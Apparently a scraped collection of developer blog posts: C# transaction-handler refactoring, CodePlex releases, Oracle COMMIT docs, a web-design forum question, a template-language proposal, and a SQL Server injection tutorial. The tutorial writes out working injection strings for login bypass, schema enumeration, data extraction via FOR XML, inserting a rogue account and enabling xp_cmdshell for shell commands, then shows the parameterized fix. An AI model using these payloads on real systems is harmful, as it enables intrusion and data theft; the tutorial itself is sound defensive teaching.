handling I consider as a separate responsibility that I delegate to the TransactionHandler which does nothing if there is no transaction or Call the Before Commit Handler Commit Transaction Dispose Transaction if commit did throw In fact it has a second responsibility to resend the message if the transaction did fail. I did see a good fit there since it deals with transaction failures.          class TransactionHandler          {              TransactionScope _Tx;              Action<CurrentMessageInformation> _BeforeCommit;              OpenedQueue _MessageQueue;                public TransactionHandler(TransactionScope tx, Action<CurrentMessageInformation> beforeCommit, OpenedQueue messageQueue)              {                  _Tx = tx;                  _BeforeCommit = beforeCommit;                  _MessageQueue = messageQueue;              }                public void CallHandlerAndCommit(CurrentMessageInformation currentMessageInfo, ErrorCollector errors)              {                  if (_Tx != null && !errors.HasError)                  {                      try                      {                          if (_BeforeCommit != null)                          {                              _BeforeCommit(currentMessageInfo);                          }                            _Tx.Complete();                          _Tx.Dispose();                      }                      catch (Exception ex)                      {                          errors.Add(ex, "Failed to complete transaction, moving to error mode");                          Trace.TraceWarning("Disposing transaction in error mode");                          try                          {                              _Tx.Dispose();                          }                          catch (Exception ex2)                          {                              errors.Add(ex2, "Failed to dispose of transaction in error mode.");                          }                      }                  }              }                public void ResendMessageOnError(Message message, ErrorCollector errors)              {                  if (errors.HasError && !_MessageQueue.IsTransactional)                  {                      _MessageQueue.Send(message);                  }              }          } If we need to change the handling in the future we have a much easier time to reason about our application flow than before. After we did complete our transaction and called our callback we can call the completion handler which is the main purpose of the HandleMessageCompletion method after all. The responsiblity o the MessageCompletionHandler is to call the completion callback and the failure callback when some error has occurred.            class MessageCompletionHandler          {              Action<CurrentMessageInformation, Exception> _MessageCompletedHandler;              Action<CurrentMessageInformation, Exception> _MessageProcessingFailure;                public MessageCompletionHandler(Action<CurrentMessageInformation, Exception> messageCompletedHandler,                                              Action<CurrentMessageInformation, Exception> messageProcessingFailure)              {                  _MessageCompletedHandler = messageCompletedHandler;                  _MessageProcessingFailure = messageProcessingFailure;              }                  public void OnMessageCompleted(CurrentMessageInformation currentMessageInfo, ErrorCollector errors)              {                  try                  {                      if (_MessageCompletedHandler != null)                      {                          _MessageCompletedHandler(currentMessageInfo, errors.Last);                      }                  }                  catch (Exception ex)                  {                      errors.Add(ex, "An error occured when raising the MessageCompleted event, the error will NOT affect the message processing");                  }                    if (errors.HasError)                  {                      SignalFailedMessage(currentMessageInfo, errors);                  }              }                void SignalFailedMessage(CurrentMessageInformation currentMessageInfo, ErrorCollector errors)              {                  try                  {                      if (_MessageProcessingFailure != null)                          _MessageProcessingFailure(currentMessageInfo, errors.Last);                  }                  catch (Exception moduleException)                  {                      errors.Add(moduleException, "Module failed to process message failure");                  }              }            }   If for some reason I did screw up the logic and we need to call the completion handler from our Transaction handler we can simple add to the CallHandlerAndCommit method a third argument to the MessageCompletionHandler and we are fine again. If the logic becomes even more complex and we need to ensure that the completed event is triggered only once we have now one place the completion handler to capture the state. During this refactoring I simple put things together that belong together and came up with useful abstractions. If you look at the original argument list of the HandleMessageCompletion method I have put many things together:   Original Arguments New Arguments Encapsulate Message message CurrentMessageInformation messageInfo         Message message TransactionScope tx Action<CurrentMessageInformation> beforeTransactionCommit OpenedQueue messageQueue TransactionHandler transactionHandler        TransactionScope tx        OpenedQueue messageQueue        Action<CurrentMessageInformation> beforeTransactionCommit Exception exception,             ErrorCollector errors Action<CurrentMessageInformation, Exception> messageCompleted MessageCompletionHandler handler          Action<CurrentMessageInformation, Exception> messageCompleted          Action<CurrentMessageInformation, Exception> messageProcessingFailure The reason is simple: Put the things that have relationships together and you will find nearly automatically useful abstractions. I hope this makes sense to you. If you see a way to make it even more simple you can show Ayende your improved version as well.

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  • CodePlex Daily Summary for Friday, October 04, 2013

    CodePlex Daily Summary for Friday, October 04, 2013Popular ReleasesMoreTerra (Terraria World Viewer): Version 1.11: Release Notes Release 1.11 =========== =Bug Fixes= =========== Now works with Terraria 1.2 wld files. =============== =Known Issues= =============== Not all tiles and items are accounted for. Missing tiles just show up as pink. This is actively being worked on but wanted to get a build out that works with 1.2VG-Ripper & PG-Ripper: PG-Ripper 1.4.19: NEW: Added Option to login as Guest NEW: Added Support for "ImageTeam.org linksStyleMVVM: 3.1.4: This release has virtually no code change but adds multiple new Item templates for the Windows Phone 8 platformSystem Center Orchestrator Community Project: Orchestrator Visio and Word Generator 1.5: This tool lets you export Orchestrator runbooks as a Visio diagram, and you can also generate an optional Word file as well. Components exported as of v1.5 are : - Title of the runbook - Activities and their names/thumbnails/description (description is displayed as a callout in the Visio diagram, attached to the shape of the activity) - Links and their names/colors - Looping and their interval Thumbnails and activities are grouped in the Visio diagram, for easy manipulation of the diagra...State of Decay Save Manager: Version 1.0.4: Add version at bottom of formDNN® Form and List: DNN Form and List 06.00.07: DotNetNuke Form and List 06.00.06 Changes to 6.0.7•Fixed an error in datatypes.config that caused calculated fields to be missing in 6.0.6 Changes to 6.0.6•Add in Sql to remove 'text on row' setting for UserDefinedTable to make SQL Azure compatible. •Add new azureCompatible element to manifest. •Added a fix for importing templates. Changes to 6.0.2•Fix: MakeThumbnail was broken if the application pool was configured to .Net 4 •Change: Data is now stored in nvarchar(max) instead of ntext C...SimpleExcelReportMaker: Serm 0.03: SourceCode and Sample .Net Framework 3.5 AnyCPU compile.RDFSharp - Start playing with RDF!: RDFSharp-0.6.6: GENERAL (NEW) Introduction of INT64 hashing engine (codenamed "Greta"); QUERY (FIX) Incorrect query evaluation due to faulty detection of optional patterns (v0.6.5 regression); (FIX) Missing update of PatternGroupID information after adding patterns and filters to a pattern group; (FIX) Ensure Context information of a pattern is not null before trying to collect it as variable; (MISC) Changed semantics of Context information of a pattern: if not provided, it will be ignored; (MISC...Application Architecture Guidelines: App Architecture Guidelines 3.0.8: This document is an overview of software qualities, principles, patterns, practices, tools and libraries.C# Intellisense for Notepad++: Release v1.0.7.2: - smart indentation - document formatting To avoid the DLLs getting locked by OS use MSI file for the installation.BlackJumboDog: Ver5.9.6: 2013.09.30 Ver5.9.6 (1)SMTP???????、???????????????? (2)WinAPI??????? (3)Web???????CGI???????????????????????Microsoft Ajax Minifier: Microsoft Ajax Minifier 5.2: Mostly internal code tweaks. added -nosize switch to turn off the size- and gzip-calculations done after minification. removed the comments in the build targets script for the old AjaxMin build task (discussion #458831). Fixed an issue with extended Unicode characters encoded inside a string literal with adjacent \uHHHH\uHHHH sequences. Fixed an IndexOutOfRange exception when encountering a CSS identifier that's a single underscore character (_). In previous builds, the net35 and net20...AJAX Control Toolkit: September 2013 Release: AJAX Control Toolkit Release Notes - September 2013 Release (Updated) Version 7.1002September 2013 release of the AJAX Control Toolkit. AJAX Control Toolkit .NET 4.5 – AJAX Control Toolkit for .NET 4.5 and sample site (Recommended). AJAX Control Toolkit .NET 4 – AJAX Control Toolkit for .NET 4 and sample site (Recommended). AJAX Control Toolkit .NET 3.5 – AJAX Control Toolkit for .NET 3.5 and sample site (Recommended). Important UpdateThis release has been updated to fix two issues: Upda...WDTVHubGen - Adds Metadata, thumbnails and subtitles to WDTV Live Hubs: WDTVHubGen.v2.1.4.apifix-alpha: WDTVHubGen.v2.1.4.apifix-alpha is for testers to figure out if we got the NEW api plugged in ok. thanksVisual Log Parser: VisualLogParser: Portable Visual Log Parser for Dotnet 4.0AudioWordsDownloader: AudioWordsDownloader 1.1 build 88: New features list of words (mp3 files) is available upon typing when a download path is defined list of download paths is added paths history settings added Bug fixed case mismatch in word search field fixed path not exist bug fixed when history has been used path, when filled from dialog, not stored refresh autocomplete list after path change word sought is deleted when path is changed at the end sought word list is deleted word list not refreshed download ends. word lis...Wsus Package Publisher: Release v1.3.1309.28: Fix a bug, where WPP crash when running on a computer where Windows was installed in another language than Fr, En or De, and launching the Update Creation Wizard. Fix a bug, where WPP crash if some Multi-Thread job are launch with more than 64 items. Add a button to abort "Install This Update" wizard. Allow WPP to remember which columns are shown last time. Make URL clickable on the Update Information Tab. Add a new feature, when Double-Clicking on an update, the default action exec...Tweetinvi a friendly Twitter C# API: Alpha 0.8.3.0: Version 0.8.3.0 emphasis on the FIlteredStream and ease how to manage Exceptions that can occur due to the network or any other issue you might encounter. Will be available through nuget the 29/09/2013. FilteredStream Features provided by the Twitter Stream API - Ability to track specific keywords - Ability to track specific users - Ability to track specific locations Additional features - Detect the reasons the tweet has been retrieved from the Filtered API. You have access to both the ma...WPF Extended DataGrid: WPF Extended DataGrid 2.0.0.4 binaries: Improved performance of GroupByAcDown?????: AcDown????? v4.5: ??●AcDown??????????、??、??、???????。????,????,?????????????????????????。???????????Acfun、????(Bilibili)、??、??、YouTube、??、???、??????、SF????、????????????。 ●??????AcPlay?????,??????、????????????????。 ● AcDown???????C#??,????.NET Framework 2.0??。?????"Acfun?????"。 ??v4.5 ???? AcPlay????????v3.5 ????????,???????????30% ?? ???????GoodManga.net???? ?? ?????????? ?? ??Acfun?????????? ??Bilibili??????????? ?????????flvcd???????? ??SfAcg????????????? ???????????? ???????????????? ????32...New ProjectsAnalysis Services Activity Viewer 2012: This project was created from a blog post I wrote back in February 2013 http://redphoenix.me/2013/08/22/upgrade-activity-viewer-2008-to-sql-server-2012/ARYSTA SYSTEM: Notebook System A/R Sales * Sales Order * Delivery * Sales Invoice * Sales Return * A/R Credit Memo * A/R Debit Memo A/P Purchasing * Purchase Order BEWELL SYSTEM: This system is design for Bewell-C Incorporated. Project Manager: Ben Penafiel System Engineer: Jhay Camba Report Designer: William Damasco Caching IOC: Caching IOC Container This will cache any Interface return results making it really easy to introduce caching to your solution.Grupo Anclita: Trabajo Final Laboratorio 4Halcyonic Skin by HTML5-UP - for DNN: This skin was converted for use in DNN by Michael Doxsey. Original HTML template designed and built by HTML5-UP: http://html5up.net/halcyonic/ ProPro: project about other projectsS3Unlock: Unlocks S3 agents that are stuck installing.sdfsdlfsdlkj01: dsfdffsdSerendipity - Responsive Skin for DNN: This is an HTML Template by Elemis, converted for use in DNN. Elemis URL: http://elemisfreebies.com/premium-themes/ Free for personal use and ed. purposes only.SmartSystemMenu: Smart system menu for you.SP 2013 Custom MultiTenant Adminstration: This Project creates a custom SP 2013 Tenant Admin site template covering limitations of existing tenant admin site.Telephasic Skin by HTML5-UP - for DNN: This skin was converted for use in DNN by Michael Doxsey. Original HTML template designed and built by HTML5-UP: http://html5up.net/telephasic/TelerikedIn: Social web app trying to look and feel like the famous LinkedInTerra 2: Generador de personajes para el juego de rol Terra2tsydev01: TextLineUpdateVds2465 Parser: This Project is about implementing a Parser for the Vds2465 protocol. It includes parsing and generating Vds2465 telegram bytes.Your Appliances: Empresa De ElectrodomesticosZeroFour by HTML5-UP - for DNN: This skin was converted for use in DNN by Michael Doxsey. Original HTML template designed and built by HTML5-UP: http://html5up.net/zerofour.

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  • Where's my MD.070?

    - by Dave Burke
    In a previous Blog entry titled “Where’s My MD.050” I discussed how the OUM Analysis Specification is the “new-and-improved” version of the more traditional Functional Design Document (or MD.050 for Oracle AIM stalwarts). In a similar way, the OUM Design Specification is an evolution of what we used to call the Technical Design Document (or MD.070). Let’s dig a little deeper…… In a traditional software development process, the “Design Task” would include all the time and resources required to design the software component(s), AND to create the final Technical Design Document. However, in OUM, we have created distinct Tasks for pure design work, along with an optional Task for pulling all of that work together into a Design Specification. Some of the Design Tasks shown above will result in their own Work Products (i.e. an Architecture Description), whilst other Tasks would act as “placeholders” for a specific work effort. In any event, the DS.140 Design Specification can include a combination of unique content, along with links to other Work Products, together which enable a complete technical description of the component, or solution, being designed. So next time someone asks “where’s my MD.070” the short answer would be to tell them to read the OUM Task description for DS.140 – Design Specification!

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  • Commit in SQL

    - by PRajkumar
    SQL Transaction Control Language Commands (TCL)                                           (COMMIT) Commit Transaction As a SQL language we use transaction control language very frequently. Committing a transaction means making permanent the changes performed by the SQL statements within the transaction. A transaction is a sequence of SQL statements that Oracle Database treats as a single unit. This statement also erases all save points in the transaction and releases transaction locks. Oracle Database issues an implicit COMMIT before and after any data definition language (DDL) statement. Oracle recommends that you explicitly end every transaction in your application programs with a COMMIT or ROLLBACK statement, including the last transaction, before disconnecting from Oracle Database. If you do not explicitly commit the transaction and the program terminates abnormally, then the last uncommitted transaction is automatically rolled back.   Until you commit a transaction: ·         You can see any changes you have made during the transaction by querying the modified tables, but other users cannot see the changes. After you commit the transaction, the changes are visible to other users' statements that execute after the commit ·         You can roll back (undo) any changes made during the transaction with the ROLLBACK statement   Note: Most of the people think that when we type commit data or changes of what you have made has been written to data files, but this is wrong when you type commit it means that you are saying that your job has been completed and respective verification will be done by oracle engine that means it checks whether your transaction achieved consistency when it finds ok it sends a commit message to the user from log buffer but not from data buffer, so after writing data in log buffer it insists data buffer to write data in to data files, this is how it works.   Before a transaction that modifies data is committed, the following has occurred: ·         Oracle has generated undo information. The undo information contains the old data values changed by the SQL statements of the transaction ·         Oracle has generated redo log entries in the redo log buffer of the System Global Area (SGA). The redo log record contains the change to the data block and the change to the rollback block. These changes may go to disk before a transaction is committed ·         The changes have been made to the database buffers of the SGA. These changes may go to disk before a transaction is committed   Note:   The data changes for a committed transaction, stored in the database buffers of the SGA, are not necessarily written immediately to the data files by the database writer (DBWn) background process. This writing takes place when it is most efficient for the database to do so. It can happen before the transaction commits or, alternatively, it can happen some times after the transaction commits.   When a transaction is committed, the following occurs: 1.      The internal transaction table for the associated undo table space records that the transaction has committed, and the corresponding unique system change number (SCN) of the transaction is assigned and recorded in the table 2.      The log writer process (LGWR) writes redo log entries in the SGA's redo log buffers to the redo log file. It also writes the transaction's SCN to the redo log file. This atomic event constitutes the commit of the transaction 3.      Oracle releases locks held on rows and tables 4.      Oracle marks the transaction complete   Note:   The default behavior is for LGWR to write redo to the online redo log files synchronously and for transactions to wait for the redo to go to disk before returning a commit to the user. However, for lower transaction commit latency application developers can specify that redo be written asynchronously and that transaction do not need to wait for the redo to be on disk.   The syntax of Commit Statement is   COMMIT [WORK] [COMMENT ‘your comment’]; ·         WORK is optional. The WORK keyword is supported for compliance with standard SQL. The statements COMMIT and COMMIT WORK are equivalent. Examples Committing an Insert INSERT INTO table_name VALUES (val1, val2); COMMIT WORK; ·         COMMENT Comment is also optional. This clause is supported for backward compatibility. Oracle recommends that you used named transactions instead of commit comments. Specify a comment to be associated with the current transaction. The 'text' is a quoted literal of up to 255 bytes that Oracle Database stores in the data dictionary view DBA_2PC_PENDING along with the transaction ID if a distributed transaction becomes in doubt. This comment can help you diagnose the failure of a distributed transaction. Examples The following statement commits the current transaction and associates a comment with it: COMMIT     COMMENT 'In-doubt transaction Code 36, Call (415) 555-2637'; ·         WRITE Clause Use this clause to specify the priority with which the redo information generated by the commit operation is written to the redo log. This clause can improve performance by reducing latency, thus eliminating the wait for an I/O to the redo log. Use this clause to improve response time in environments with stringent response time requirements where the following conditions apply: The volume of update transactions is large, requiring that the redo log be written to disk frequently. The application can tolerate the loss of an asynchronously committed transaction. The latency contributed by waiting for the redo log write to occur contributes significantly to overall response time. You can specify the WAIT | NOWAIT and IMMEDIATE | BATCH clauses in any order. Examples To commit the same insert operation and instruct the database to buffer the change to the redo log, without initiating disk I/O, use the following COMMIT statement: COMMIT WRITE BATCH; Note: If you omit this clause, then the behavior of the commit operation is controlled by the COMMIT_WRITE initialization parameter, if it has been set. The default value of the parameter is the same as the default for this clause. Therefore, if the parameter has not been set and you omit this clause, then commit records are written to disk before control is returned to the user. WAIT | NOWAIT Use these clauses to specify when control returns to the user. The WAIT parameter ensures that the commit will return only after the corresponding redo is persistent in the online redo log. Whether in BATCH or IMMEDIATE mode, when the client receives a successful return from this COMMIT statement, the transaction has been committed to durable media. A crash occurring after a successful write to the log can prevent the success message from returning to the client. In this case the client cannot tell whether or not the transaction committed. The NOWAIT parameter causes the commit to return to the client whether or not the write to the redo log has completed. This behavior can increase transaction throughput. With the WAIT parameter, if the commit message is received, then you can be sure that no data has been lost. Caution: With NOWAIT, a crash occurring after the commit message is received, but before the redo log record(s) are written, can falsely indicate to a transaction that its changes are persistent. If you omit this clause, then the transaction commits with the WAIT behavior. IMMEDIATE | BATCH Use these clauses to specify when the redo is written to the log. The IMMEDIATE parameter causes the log writer process (LGWR) to write the transaction's redo information to the log. This operation option forces a disk I/O, so it can reduce transaction throughput. The BATCH parameter causes the redo to be buffered to the redo log, along with other concurrently executing transactions. When sufficient redo information is collected, a disk write of the redo log is initiated. This behavior is called "group commit", as redo for multiple transactions is written to the log in a single I/O operation. If you omit this clause, then the transaction commits with the IMMEDIATE behavior. ·         FORCE Clause Use this clause to manually commit an in-doubt distributed transaction or a corrupt transaction. ·         In a distributed database system, the FORCE string [, integer] clause lets you manually commit an in-doubt distributed transaction. The transaction is identified by the 'string' containing its local or global transaction ID. To find the IDs of such transactions, query the data dictionary view DBA_2PC_PENDING. You can use integer to specifically assign the transaction a system change number (SCN). If you omit integer, then the transaction is committed using the current SCN. ·         The FORCE CORRUPT_XID 'string' clause lets you manually commit a single corrupt transaction, where string is the ID of the corrupt transaction. Query the V$CORRUPT_XID_LIST data dictionary view to find the transaction IDs of corrupt transactions. You must have DBA privileges to view the V$CORRUPT_XID_LIST and to specify this clause. ·         Specify FORCE CORRUPT_XID_ALL to manually commit all corrupt transactions. You must have DBA privileges to specify this clause. Examples Forcing an in doubt transaction. Example The following statement manually commits a hypothetical in-doubt distributed transaction. Query the V$CORRUPT_XID_LIST data dictionary view to find the transaction IDs of corrupt transactions. You must have DBA privileges to view the V$CORRUPT_XID_LIST and to issue this statement. COMMIT FORCE '22.57.53';

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  • Progressive Enhancement vs. Single Page Apps

    - by SeanPlusPlus
    I just got back from a conference in Boston called An Event Apart. A really popular theme amongst the speakers was the idea of progressive enhancement - a site's content should go in the HTML, and JavaScript should only be used to enhance behavior. The arguments that the speakers gave for progressive enhancement were very compelling. Not only is it a solid pattern for supporting older browsers, and devices on a network with low bandwidth, but HTML fails much more gracefully than JavaScript (i.e. markup that is not supported is just ignored, while if a browser throws an exception while executing your script - you are hosed). Jeremy Keith gave a particularly insightful talk about this. But what about single page web apps like Backbone and Angular? The whole design behind these frameworks seems to push the developer toward moving content out of the HTML, and into something like a JSON API. I can not seem to gel these two design patterns: progressive enhancement vs. single page web apps. Are there instances when one is better than the other? Or are they not even antagonistic technologies, and I am missing something here with my mental model?

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  • SQL Server SQL Injection from start to end

    - by Mladen Prajdic
    SQL injection is a method by which a hacker gains access to the database server by injecting specially formatted data through the user interface input fields. In the last few years we have witnessed a huge increase in the number of reported SQL injection attacks, many of which caused a great deal of damage. A SQL injection attack takes many guises, but the underlying method is always the same. The specially formatted data starts with an apostrophe (') to end the string column (usually username) check, continues with malicious SQL, and then ends with the SQL comment mark (--) in order to comment out the full original SQL that was intended to be submitted. The really advanced methods use binary or encoded text inputs instead of clear text. SQL injection vulnerabilities are often thought to be a database server problem. In reality they are a pure application design problem, generally resulting from unsafe techniques for dynamically constructing SQL statements that require user input. It also doesn't help that many web pages allow SQL Server error messages to be exposed to the user, having no input clean up or validation, allowing applications to connect with elevated (e.g. sa) privileges and so on. Usually that's caused by novice developers who just copy-and-paste code found on the internet without understanding the possible consequences. The first line of defense is to never let your applications connect via an admin account like sa. This account has full privileges on the server and so you virtually give the attacker open access to all your databases, servers, and network. The second line of defense is never to expose SQL Server error messages to the end user. Finally, always use safe methods for building dynamic SQL, using properly parameterized statements. Hopefully, all of this will be clearly demonstrated as we demonstrate two of the most common ways that enable SQL injection attacks, and how to remove the vulnerability. 1) Concatenating SQL statements on the client by hand 2) Using parameterized stored procedures but passing in parts of SQL statements As will become clear, SQL Injection vulnerabilities cannot be solved by simple database refactoring; often, both the application and database have to be redesigned to solve this problem. Concatenating SQL statements on the client This problem is caused when user-entered data is inserted into a dynamically-constructed SQL statement, by string concatenation, and then submitted for execution. Developers often think that some method of input sanitization is the solution to this problem, but the correct solution is to correctly parameterize the dynamic SQL. In this simple example, the code accepts a username and password and, if the user exists, returns the requested data. First the SQL code is shown that builds the table and test data then the C# code with the actual SQL Injection example from beginning to the end. The comments in code provide information on what actually happens. /* SQL CODE *//* Users table holds usernames and passwords and is the object of out hacking attempt */CREATE TABLE Users( UserId INT IDENTITY(1, 1) PRIMARY KEY , UserName VARCHAR(50) , UserPassword NVARCHAR(10))/* Insert 2 users */INSERT INTO Users(UserName, UserPassword)SELECT 'User 1', 'MyPwd' UNION ALLSELECT 'User 2', 'BlaBla' Vulnerable C# code, followed by a progressive SQL injection attack. /* .NET C# CODE *//*This method checks if a user exists. It uses SQL concatination on the client, which is susceptible to SQL injection attacks*/private bool DoesUserExist(string username, string password){ using (SqlConnection conn = new SqlConnection(@"server=YourServerName; database=tempdb; Integrated Security=SSPI;")) { /* This is the SQL string you usually see with novice developers. It returns a row if a user exists and no rows if it doesn't */ string sql = "SELECT * FROM Users WHERE UserName = '" + username + "' AND UserPassword = '" + password + "'"; SqlCommand cmd = conn.CreateCommand(); cmd.CommandText = sql; cmd.CommandType = CommandType.Text; cmd.Connection.Open(); DataSet dsResult = new DataSet(); /* If a user doesn't exist the cmd.ExecuteScalar() returns null; this is just to simplify the example; you can use other Execute methods too */ string userExists = (cmd.ExecuteScalar() ?? "0").ToString(); return userExists != "0"; } }}/*The SQL injection attack example. Username inputs should be run one after the other, to demonstrate the attack pattern.*/string username = "User 1";string password = "MyPwd";// See if we can even use SQL injection.// By simply using this we can log into the application username = "' OR 1=1 --";// What follows is a step-by-step guessing game designed // to find out column names used in the query, via the // error messages. By using GROUP BY we will get // the column names one by one.// First try the Idusername = "' GROUP BY Id HAVING 1=1--";// We get the SQL error: Invalid column name 'Id'.// From that we know that there's no column named Id. // Next up is UserIDusername = "' GROUP BY Users.UserId HAVING 1=1--";// AHA! here we get the error: Column 'Users.UserName' is // invalid in the SELECT list because it is not contained // in either an aggregate function or the GROUP BY clause.// We have guessed correctly that there is a column called // UserId and the error message has kindly informed us of // a table called Users with a column called UserName// Now we add UserName to our GROUP BYusername = "' GROUP BY Users.UserId, Users.UserName HAVING 1=1--";// We get the same error as before but with a new column // name, Users.UserPassword// Repeat this pattern till we have all column names that // are being return by the query.// Now we have to get the column data types. One non-string // data type is all we need to wreck havoc// Because 0 can be implicitly converted to any data type in SQL server we use it to fill up the UNION.// This can be done because we know the number of columns the query returns FROM our previous hacks.// Because SUM works for UserId we know it's an integer type. It doesn't matter which exactly.username = "' UNION SELECT SUM(Users.UserId), 0, 0 FROM Users--";// SUM() errors out for UserName and UserPassword columns giving us their data types:// Error: Operand data type varchar is invalid for SUM operator.username = "' UNION SELECT SUM(Users.UserName) FROM Users--";// Error: Operand data type nvarchar is invalid for SUM operator.username = "' UNION SELECT SUM(Users.UserPassword) FROM Users--";// Because we know the Users table structure we can insert our data into itusername = "'; INSERT INTO Users(UserName, UserPassword) SELECT 'Hacker user', 'Hacker pwd'; --";// Next let's get the actual data FROM the tables.// There are 2 ways you can do this.// The first is by using MIN on the varchar UserName column and // getting the data from error messages one by one like this:username = "' UNION SELECT min(UserName), 0, 0 FROM Users --";username = "' UNION SELECT min(UserName), 0, 0 FROM Users WHERE UserName > 'User 1'--";// we can repeat this method until we get all data one by one// The second method gives us all data at once and we can use it as soon as we find a non string columnusername = "' UNION SELECT (SELECT * FROM Users FOR XML RAW) as c1, 0, 0 --";// The error we get is: // Conversion failed when converting the nvarchar value // '<row UserId="1" UserName="User 1" UserPassword="MyPwd"/>// <row UserId="2" UserName="User 2" UserPassword="BlaBla"/>// <row UserId="3" UserName="Hacker user" UserPassword="Hacker pwd"/>' // to data type int.// We can see that the returned XML contains all table data including our injected user account.// By using the XML trick we can get any database or server info we wish as long as we have access// Some examples:// Get info for all databasesusername = "' UNION SELECT (SELECT name, dbid, convert(nvarchar(300), sid) as sid, cmptlevel, filename FROM master..sysdatabases FOR XML RAW) as c1, 0, 0 --";// Get info for all tables in master databaseusername = "' UNION SELECT (SELECT * FROM master.INFORMATION_SCHEMA.TABLES FOR XML RAW) as c1, 0, 0 --";// If that's not enough here's a way the attacker can gain shell access to your underlying windows server// This can be done by enabling and using the xp_cmdshell stored procedure// Enable xp_cmdshellusername = "'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;";// Create a table to store the values returned by xp_cmdshellusername = "'; CREATE TABLE ShellHack (ShellData NVARCHAR(MAX))--";// list files in the current SQL Server directory with xp_cmdshell and store it in ShellHack table username = "'; INSERT INTO ShellHack EXEC xp_cmdshell \"dir\"--";// return the data via an error messageusername = "' UNION SELECT (SELECT * FROM ShellHack FOR XML RAW) as c1, 0, 0; --";// delete the table to get clean output (this step is optional)username = "'; DELETE ShellHack; --";// repeat the upper 3 statements to do other nasty stuff to the windows server// If the returned XML is larger than 8k you'll get the "String or binary data would be truncated." error// To avoid this chunk up the returned XML using paging techniques. // the username and password params come from the GUI textboxes.bool userExists = DoesUserExist(username, password ); Having demonstrated all of the information a hacker can get his hands on as a result of this single vulnerability, it's perhaps reassuring to know that the fix is very easy: use parameters, as show in the following example. /* The fixed C# method that doesn't suffer from SQL injection because it uses parameters.*/private bool DoesUserExist(string username, string password){ using (SqlConnection conn = new SqlConnection(@"server=baltazar\sql2k8; database=tempdb; Integrated Security=SSPI;")) { //This is the version of the SQL string that should be safe from SQL injection string sql = "SELECT * FROM Users WHERE UserName = @username AND UserPassword = @password"; SqlCommand cmd = conn.CreateCommand(); cmd.CommandText = sql; cmd.CommandType = CommandType.Text; // adding 2 SQL Parameters solves the SQL injection issue completely SqlParameter usernameParameter = new SqlParameter(); usernameParameter.ParameterName = "@username"; usernameParameter.DbType = DbType.String; usernameParameter.Value = username; cmd.Parameters.Add(usernameParameter); SqlParameter passwordParameter = new SqlParameter(); passwordParameter.ParameterName = "@password"; passwordParameter.DbType = DbType.String; passwordParameter.Value = password; cmd.Parameters.Add(passwordParameter); cmd.Connection.Open(); DataSet dsResult = new DataSet(); /* If a user doesn't exist the cmd.ExecuteScalar() returns null; this is just to simplify the example; you can use other Execute methods too */ string userExists = (cmd.ExecuteScalar() ?? "0").ToString(); return userExists == "1"; }} We have seen just how much danger we're in, if our code is vulnerable to SQL Injection. If you find code that contains such problems, then refactoring is not optional; it simply has to be done and no amount of deadline pressure should be a reason not to do it. Better yet, of course, never allow such vulnerabilities into your code in the first place. Your business is only as valuable as your data. If you lose your data, you lose your business. Period. Incorrect parameterization in stored procedures It is a common misconception that the mere act of using stored procedures somehow magically protects you from SQL Injection. There is no truth in this rumor. If you build SQL strings by concatenation and rely on user input then you are just as vulnerable doing it in a stored procedure as anywhere else. This anti-pattern often emerges when developers want to have a single "master access" stored procedure to which they'd pass a table name, column list or some other part of the SQL statement. This may seem like a good idea from the viewpoint of object reuse and maintenance but it's a huge security hole. The following example shows what a hacker can do with such a setup. /*Create a single master access stored procedure*/CREATE PROCEDURE spSingleAccessSproc( @select NVARCHAR(500) = '' , @tableName NVARCHAR(500) = '' , @where NVARCHAR(500) = '1=1' , @orderBy NVARCHAR(500) = '1')ASEXEC('SELECT ' + @select + ' FROM ' + @tableName + ' WHERE ' + @where + ' ORDER BY ' + @orderBy)GO/*Valid use as anticipated by a novice developer*/EXEC spSingleAccessSproc @select = '*', @tableName = 'Users', @where = 'UserName = ''User 1'' AND UserPassword = ''MyPwd''', @orderBy = 'UserID'/*Malicious use SQL injectionThe SQL injection principles are the same aswith SQL string concatenation I described earlier,so I won't repeat them again here.*/EXEC spSingleAccessSproc @select = '* FROM INFORMATION_SCHEMA.TABLES FOR XML RAW --', @tableName = '--Users', @where = '--UserName = ''User 1'' AND UserPassword = ''MyPwd''', @orderBy = '--UserID' One might think that this is a "made up" example but in all my years of reading SQL forums and answering questions there were quite a few people with "brilliant" ideas like this one. Hopefully I've managed to demonstrate the dangers of such code. Even if you think your code is safe, double check. If there's even one place where you're not using proper parameterized SQL you have vulnerability and SQL injection can bare its ugly teeth.

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  • Thoughts on my new template language?

    - by Ralph
    Let's start with an example: using "html5" using "extratags" html { head { title "Ordering Notice" jsinclude "jquery.js" } body { h1 "Ordering Notice" p "Dear @name," p "Thanks for placing your order with @company. It's scheduled to ship on {@ship_date|dateformat}." p "Here are the items you've ordered:" table { tr { th "name" th "price" } for(@item in @item_list) { tr { td @item.name td @item.price } } } if(@ordered_warranty) p "Your warranty information will be included in the packaging." p(class="footer") { "Sincerely," br @company } } } The "using" keyword indicates which tags to use. "html5" might include all the html5 standard tags, but your tags names wouldn't have to be based on their HTML counter-parts at all if you didn't want to. The "extratags" library for example might add an extra tag, called "jsinclude" which gets replaced with something like <script type="text/javascript" src="@content"></script> Tags can be optionally be followed by an opening brace. They will automatically be closed as the closing brace. If no brace is used, they will be closed after taking on element. Variables are prefixed with the @ symbol. They may be used inside double-quoted strings. I think I'll use single-quotes to indicate "no variable substitution" like PHP does. Filter functions can be applied to variables like @variable|filter. Arguments can be passed to the filter @variable|filter:@arg1,arg2="y" Attributes can be passed to tags by including them in (), like p(class="classname"). Some questions: Which symbol should I use to prefix variables? @ (like Razor), $ (like PHP), or something else? Should the @ symbol be necessary in "for" and "if" statements? It's kind of implied that those are variables. Tags and controls (like if,for) presently have the exact same syntax. Should I do something to differentiate the two? If so, what? Do you like the attribute syntax? (round brackets) I'll add more questions in a few minutes, once I get some feedback.

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  • MSCC: Purpose and benefits of Version Control Systems (VCS)

